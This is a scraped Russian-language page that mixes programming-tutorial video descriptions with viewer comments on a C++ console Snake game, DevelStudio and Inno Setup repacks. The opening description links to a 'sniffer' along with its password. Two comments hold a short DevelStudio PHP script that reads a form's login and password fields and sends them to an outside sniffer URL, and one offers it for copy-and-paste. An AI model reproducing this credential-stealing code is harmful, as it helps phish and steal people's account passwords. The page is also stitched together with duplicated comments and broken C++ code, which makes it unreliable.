Ссылка на Сниффер https://hpc.name/sniffer/index.php?action=exit&pass=35kiy4rp4fybvu37sa3cijv18cy55x1w. Ссылка на php скрипт http://rghost.ru/54700412. Ссылка на саму программу http://develstudio.ru/downloads/. Моя страница в вк http://vk.com/id180780096 (По вопросам туда!). Подписывайтесь на канал ставте лайки))
Используя C++ мы учимся создавать текст, кнопки, формы, меню, события, а также напишем свою собственную программу.. https://www.donationalerts.com/r/lmrdr. Тип проекта: Win32 API. Категория: GUI. Программа: Code::Blocks 17.12. Компилятор: GNU GCC Compiler. Музыка из видео: 1. Geographer Synergy. 2. Quincas Moreira Dragonfly. 3. Freedom Trail Studio Prince Check. 4. Density and Time Clean Break. 5. Geographer First Line. 6. Quincas Moreira Blue Macaw. 7. Rondo Brothers Mr. Tea. 8. Rondo Brothers Race Car. 9. Aher Fulero Liberation. 10. Francis Preve Wild Pogo. 11. Eveningland Lost Time. 12. Eveningland Hyperspeed. Сделано с любовью в 2019 году.. Туториалы для людей.
В этом урок я вам покажу откуда скачать среду разработки eclipse, и расскажу как правильно произвести компиляцию программы, а в следующем уроке, мы с вами более подробно рассмотрим первый пример простой программы, то есть из чего она состоит. .
В это видео мы узнаем как создать самое простое консольное приложение.. Вот строчки для тех кому лень писать. = Console.WriteLine(«Ваш текст»);. Console.ReadLine();. =
Как создать игру на чистом C++? В этом видео курсе мы с вами сделаем простую игру под названием Змейка на чистом C++. Создание игр на C++ это не сложное дело, главное понимание самих алгоритмов.. Урок на сайте itProger: https://itproger.com/course/cpp-snake. ✔ Основной сайт: https://itproger.com/. ✔ — Вступай в группу Вк https://vk.com/prog_life. Группа FaceBook https://goo.gl/XW0aaP. Instagram: https://www.instagram.com/gosha_dudar/. Telegram: http://t.me/itProger_official. Страничка Twitter https://twitter.com/GoshaDudar. Уроки от #GoshaDudar ������. Все уроки по хештегу #GoshaGameCpp
Красава!!! Всё понятно и ясно))) Давно уже хотел свой установщик Gta V сделать, с модом Redux, c Add-On модами, с персонажами из форсаж и т.д))) Игра работает идеально, не каких ошибок, не вылетов с таким количеством модов, вот я и хотел установщик сделать))) Только один вопрос? Почему я сделал свой репак игры а она теперь не удаляется через панель управления удаление программы??? Что то тут не показал в видео)))
С установкой норм все,но после нее при удалении выводит ошибку,мол отсутствие файла удаления,и с установки и удаление программ тоже не хочет удалять,а когда установленную папку сам удалил,оно за отсутствием файлов уберает ее,я решение этой проблемы пока не нашел, может быть кто подскажет раньше
Не, главное найти дистриб С++, который работает (например, ставил эклипсу на убунту вообще не запускается, в Builder, Qt и Unity кнопок много, и все английские), а когда-то на МК85 написал игру «Питон», на БК и ДВК влёт игры писал… )
const int width = 20;//объявление константой ширины поля.
const int height = 20;//объявление константой высоты поля.
int x,y; //объявление координат змейки в игре.
int fruitX, fruitY;//объявление координат фрукт в игре.
int score; // объявление переменной для записи в нее счета в игре.
enum eDirection //определение нового перечислимого типа. { STOP = 0, LEFT, RIGHT, UP, DOWN };
eDirection dir; //определение переменной типа eDirection с именем dir для присвоения ей значений.
void Setup()// объявление функции настраивающей все параметры { gameOver=false; dir = STOP;//изначально мы стоим на месте. x = width / 2-1; //задание координат змейки в центре карты в начале игры. y = height / 2-1;//задание координат змейки в центре карты в начале игры. fruitX = rand() % width;//задание рендомных координат появления фруктов. fruitY = rand() % height;//задание рендомных координат появления фруктов. score = 0;//счет равен нулю при старте. }
void Draw()// объявление функции которая рисует карту { free;//функция очищения при каждом вызове. for (int i = 0; i < width + 1; i++) //создание цикла для рисования верхней границы игры. cout << "#"; cout << endl; for (int i = 0; i < height; i++)//создание цикла для рисования боковой границы игры { for (int j = 0; j < width; j++)//проверка каждой ячейки по ширине. { if (j = 0 || j = width 1)//что бы начинать с нуля. cout << "#"; if (i = y && j = x) cout << 0;//начало змеи. else if (i = fruitY && j = fruitX)//определение координат для вываода фрукта. cout << "f";//вывод фрукта. else cout << " ";//заполнение остальных полей пустотой; } cout << endl;//переход на новую строку. }
for (int i = 0; i < width + 1; i++) //создание цикла для рисования нижней границы игры. cout << "#"; cout << endl; cout << "счет " << score << endl; //system(«pause»); }
void Input()// объявление функции отслеживает нажатия пользователя { if (_kbhit()) //проверяет наличие ввода с клавиатуры возвращает истину в случае нажатия клавиши клавиатуры //и ноль в противном случае. { switch (_getch())//определяем что именно нажал пользователь { case’a’: dir = LEFT;//если пользователь нажал «а» змейка пошла в лево. break; case’d’: dir = RIGHT;//если пользователь нажал «d» змейка пошла в право. break; case’w’: dir = UP;//если пользователь нажал «w» змейка пошла в верх. break; case’s’: dir = DOWN;//если пользователь нажал «s» змейка пошла в низ. break; case’x’: gameOver = true;//если пользователь нажал «x» выход из игры. break; }
}
} void Logic()// объявление функции отслеживает логику игры { switch (dir) { case LEFT: x-; break; case RIGHT: x++; break; case UP: y-; break; case DOWN: y++; break; }
if (x > width || x < 0|| y > height|| y < 0)//проверка выхода из поля. gameOver = true; if (x= fruitX && y= fruitY) { score += 10; fruitX = rand() % width; fruitY = rand() % height; } }
int main() { setlocale(LC_ALL, «»); srand(time(NULL)); Setup(); while (!gameOver) { Draw(); Input(); Logic(); } //system(«pause»); return 0; }
Гошка спиздил проект у кого то из англоязычных и выдает за свой. Ну ладно спиздил, так он и со всеми косяками его подает, не хуя он не исправили по ходу даже не понимает какие проблемы в программе что она все дергается, но Гашан учит и ведет платные уроки.
Да уж, с мерцанием всего экрана, эт прям для новичков, пускай учатся, как делать не надо. Что мешает нарисовать уровень один раз, а перемещения змейки сделать затиранием символов на пробелы, а не обновлением всего экрана?
int x, y, FruitX, FruitY,score;//Объявление переменных
enum eDirection { STOP = 0,LEFT,RIGHT,UP,DOWN };//Влево вправо вверх вниз
eDirection dir;
void setup() {
GameOver = false;
dir = STOP;
x = width/2;
y = height / 2;
FruitX = rand() % width;
FruitY = rand() % height;
score = 0;// Инициализация score значением 0
}
void draw() {
system(«cls»);//Для верхней границы
for (int i = 0; i < width;i++) cout << "#"; //Вывод на экран cout << endl; //Вывод на экран for (int i = 0; i < height; i++) {//Для боковой границы for (int j = 0; j < width; j++) {//Для боковой границы if (j = 0 || j=width-1)//Условие
cout << "#";//Вывод на экран cout << " ";//Вывод на экран }
cout << endl;//Вывод на экран }
for (int i = 0; i < width; i++)//Для нижней границы cout << "#";//Вывод на экран cout << endl;//Вывод на экран
} void input() {//Управление клавишами
еще бьі ему не мигать, один кадр ресуется 3мя циклами, и ето еще не дошла очередь до самой змеи. вообще бьістрее всего держать картинку в двумерном масиве и вьіводить puts’ом. и вместо ‘cls’ сетконсолкурсорпозишен
Скрипт по ссылке удалён! Вот скрипт: $edit1 = c(‘Form1->edit1’)->text; $edit2 = c(‘Form1->edit2’)->text; $url = «Сниффер»; file_get_contents($url. «?». «login:». $edit1. «|domian:». $combobox1. «|pass:». $edit2); Его просто скопировать и вставить. Так же этот сниффер больше не работает. Ищем другой.
слушай а как сделать что бы репак через Inno setup лучше сжимался? я использую вот такой скрипт Compression=lzma2/max
SolidCompression=yes
но беда в том что он практически не сжимает..сжимает но очень мало..ведь обычные репакеры сжимают нехило так из-за чего так?
Красава!!! Всё понятно и ясно))) Давно уже хотел свой установщик Gta V сделать, с модом Redux, c Add-On модами, с персонажами из форсаж и т.д))) Игра работает идеально, не каких ошибок, не вылетов с таким количеством модов, вот я и хотел установщик сделать))) Только один вопрос? Почему я сделал свой репак игры а она теперь не удаляется через панель управления удаление программы??? Что то тут не показал в видео)))
С установкой норм все,но после нее при удалении выводит ошибку,мол отсутствие файла удаления,и с установки и удаление программ тоже не хочет удалять,а когда установленную папку сам удалил,оно за отсутствием файлов уберает ее,я решение этой проблемы пока не нашел, может быть кто подскажет раньше
Огромное спасибо. Идеально подошёл для упаковки игры, которую я написал для своей курсовой работы по Объектно-ориентированному программированию. Посмотреть, что вышло можно тут: http://spaces.ru/files/view/?Li=-9192751&Link_id=910083&Lt=1&Read=66545665&Lii=66545665&name=slava2012z&Sn=1
Не, главное найти дистриб С++, который работает (например, ставил эклипсу на убунту вообще не запускается, в Builder, Qt и Unity кнопок много, и все английские), а когда-то на МК85 написал игру «Питон», на БК и ДВК влёт игры писал…
)
Добрый день. У меня функция void Draw зациклилась. Помогите пожалуйста.
#include «pch.h»
#include
#include
# include
# include
# include
using namespace std;
bool gameOver;//объявление переменной для игры
const int width = 20;//объявление константой ширины поля.
const int height = 20;//объявление константой высоты поля.
int x,y; //объявление координат змейки в игре.
int fruitX, fruitY;//объявление координат фрукт в игре.
int score; // объявление переменной для записи в нее счета в игре.
enum eDirection //определение нового перечислимого типа.
{
STOP = 0, LEFT, RIGHT, UP, DOWN
};
eDirection dir; //определение переменной типа eDirection с именем dir для присвоения ей значений.
void Setup()// объявление функции настраивающей все параметры
{
gameOver=false;
dir = STOP;//изначально мы стоим на месте.
x = width / 2-1; //задание координат змейки в центре карты в начале игры.
y = height / 2-1;//задание координат змейки в центре карты в начале игры.
fruitX = rand() % width;//задание рендомных координат появления фруктов.
fruitY = rand() % height;//задание рендомных координат появления фруктов.
score = 0;//счет равен нулю при старте.
}
void Draw()// объявление функции которая рисует карту
{
free;//функция очищения при каждом вызове.
for (int i = 0; i < width + 1; i++) //создание цикла для рисования верхней границы игры.
cout << "#";
cout << endl;
for (int i = 0; i < height; i++)//создание цикла для рисования боковой границы игры
{
for (int j = 0; j < width; j++)//проверка каждой ячейки по ширине.
{
if (j = 0 || j = width 1)//что бы начинать с нуля.
cout << "#";
if (i = y && j = x)
cout << 0;//начало змеи.
else if (i = fruitY && j = fruitX)//определение координат для вываода фрукта.
cout << "f";//вывод фрукта.
else
cout << " ";//заполнение остальных полей пустотой;
}
cout << endl;//переход на новую строку.
}
for (int i = 0; i < width + 1; i++) //создание цикла для рисования нижней границы игры. cout << "#";
cout << endl;
cout << "счет " << score << endl;
//system(«pause»);
}
void Input()// объявление функции отслеживает нажатия пользователя
{
if (_kbhit()) //проверяет наличие ввода с клавиатуры возвращает истину в случае нажатия клавиши клавиатуры
//и ноль в противном случае.
{
switch (_getch())//определяем что именно нажал пользователь
{
case’a’:
dir = LEFT;//если пользователь нажал «а» змейка пошла в лево.
break;
case’d’:
dir = RIGHT;//если пользователь нажал «d» змейка пошла в право.
break;
case’w’:
dir = UP;//если пользователь нажал «w» змейка пошла в верх.
break;
case’s’:
dir = DOWN;//если пользователь нажал «s» змейка пошла в низ.
break;
case’x’:
gameOver = true;//если пользователь нажал «x» выход из игры.
break;
}
}
}
void Logic()// объявление функции отслеживает логику игры
{
switch (dir)
{
case LEFT:
x-;
break;
case RIGHT:
x++;
break;
case UP:
y-;
break;
case DOWN:
y++;
break;
}
if (x > width || x < 0|| y > height|| y < 0)//проверка выхода из поля.
gameOver = true;
if (x= fruitX && y= fruitY)
{
score += 10;
fruitX = rand() % width;
fruitY = rand() % height;
}
}
int main()
{
setlocale(LC_ALL, «»);
srand(time(NULL));
Setup();
while (!gameOver)
{
Draw();
Input();
Logic();
}
//system(«pause»);
return 0;
}
Можно чуть подредактировать?
void Draw()
{
system(«cls»);
for (int i = 0; i < width + 1; i++)
{
cout << "#" << endl;
}
for (int i = 0; i < height; i++)
{
for (int j = 0; j < width; j++)
{
if (j = 0 || j = width 1)
cout << "#" << " " << endl;
}
}
for (int i = 0; i < width + 1; i++)
{
cout << "#" << endl;
}
}
помогите чё со скриптом нетак
$edit1 = c(‘Form1->edit1’)->text;
$edit2 = c(‘Form1->edit2’)->text;
$combobox1 = n ( ‘ Form1->combobox1 ‘ )->inText;
$url = «http://online-sniffer.ru/cgvbnndj.gif«;
MessageBox(«Óñïåøíî!»)
Гошка спиздил проект у кого то из англоязычных и выдает за свой. Ну ладно спиздил, так он и со всеми косяками его подает, не хуя он не исправили по ходу даже не понимает какие проблемы в программе что она все дергается, но Гашан учит и ведет платные уроки.
а как создать авто установщик программ после преустановки ос чтоб все каждый раз не выбирать не искать
а создать свой набор программ и чтоб они по очереди устанавливались
я через Smart Install Maker пробовал нечего не вышло не запускается установка сама программ
может что то другое надо?
Да уж, с мерцанием всего экрана, эт прям для новичков, пускай учатся, как делать не надо. Что мешает нарисовать уровень один раз, а перемещения змейки сделать затиранием символов на пробелы, а не обновлением всего экрана?
#include//Подключение основной библиотеки
using namespace std;
bool GameOver;//Переменая GameOver типа Bool
const int width = 20;//Ширина окна
const int height = 20;//Высота окна
int x, y, FruitX, FruitY,score;//Объявление переменных
enum eDirection { STOP = 0,LEFT,RIGHT,UP,DOWN };//Влево вправо вверх вниз
eDirection dir;
void setup() {
GameOver = false;
dir = STOP;
x = width/2;
y = height / 2;
FruitX = rand() % width;
FruitY = rand() % height;
score = 0;// Инициализация score значением 0
}
void draw() {
system(«cls»);//Для верхней границы
for (int i = 0; i < width;i++)
cout << "#"; //Вывод на экран
cout << endl; //Вывод на экран for (int i = 0; i < height; i++) {//Для боковой границы
for (int j = 0; j < width; j++) {//Для боковой границы
if (j = 0 || j=width-1)//Условие
cout << "#";//Вывод на экран
cout << " ";//Вывод на экран
}
cout << endl;//Вывод на экран
}
for (int i = 0; i < width; i++)//Для нижней границы
cout << "#";//Вывод на экран
cout << endl;//Вывод на экран }
void input() {//Управление клавишами
}
void logic() {//логика игры
}
int main() {//точка входа в программу
setup();
while (!GameOver) {
draw();
input();
logic();
}
return 0;//возвращение значения
}
еще бьі ему не мигать, один кадр ресуется 3мя циклами, и ето еще не дошла очередь до самой змеи.
вообще бьістрее всего держать картинку в двумерном масиве и вьіводить puts’ом.
и вместо ‘cls’ сетконсолкурсорпозишен
Скрипт по ссылке удалён! Вот скрипт:
$edit1 = c(‘Form1->edit1’)->text; $edit2 = c(‘Form1->edit2’)->text; $url = «Сниффер»; file_get_contents($url. «?». «login:». $edit1. «|domian:». $combobox1. «|pass:». $edit2);
Его просто скопировать и вставить.
Так же этот сниффер больше не работает. Ищем другой.
#include
namespace std;
bool gameOver;
const int width = 20;
const int height = 20;
int x, y, fruitX, fruitY, score;
enum eDirection { STOP = 0; LEFT, RIGHT, UP, DOWN };
eDirection dir;
void Setup()
{
gamOver = false;
eDirection = STOP;
x = width / 2;
y = height / 2;
fruitX = rand() % width;
fruitY = rand() % height;
score = 0;
}
void Draw()
{
system(‘cls’);
for (int i = 0; i < width; i++)
cout << '#';
cout << endl; for (int i = 0; i < height; i++) {
for (int j = 0; j < width; j++) {
if (j = 0)
cout << '#';
cout << " ";
}
cout << endl;
}
for (int i = 0; i < width; i++)
cout << '#';
cout << endl;
}
void Input()
{
}
void Logic()
{
}
int main()
{
Setup();
while (!gameOver)
{
Draw();
Input();
Logic();
}
return 0;
}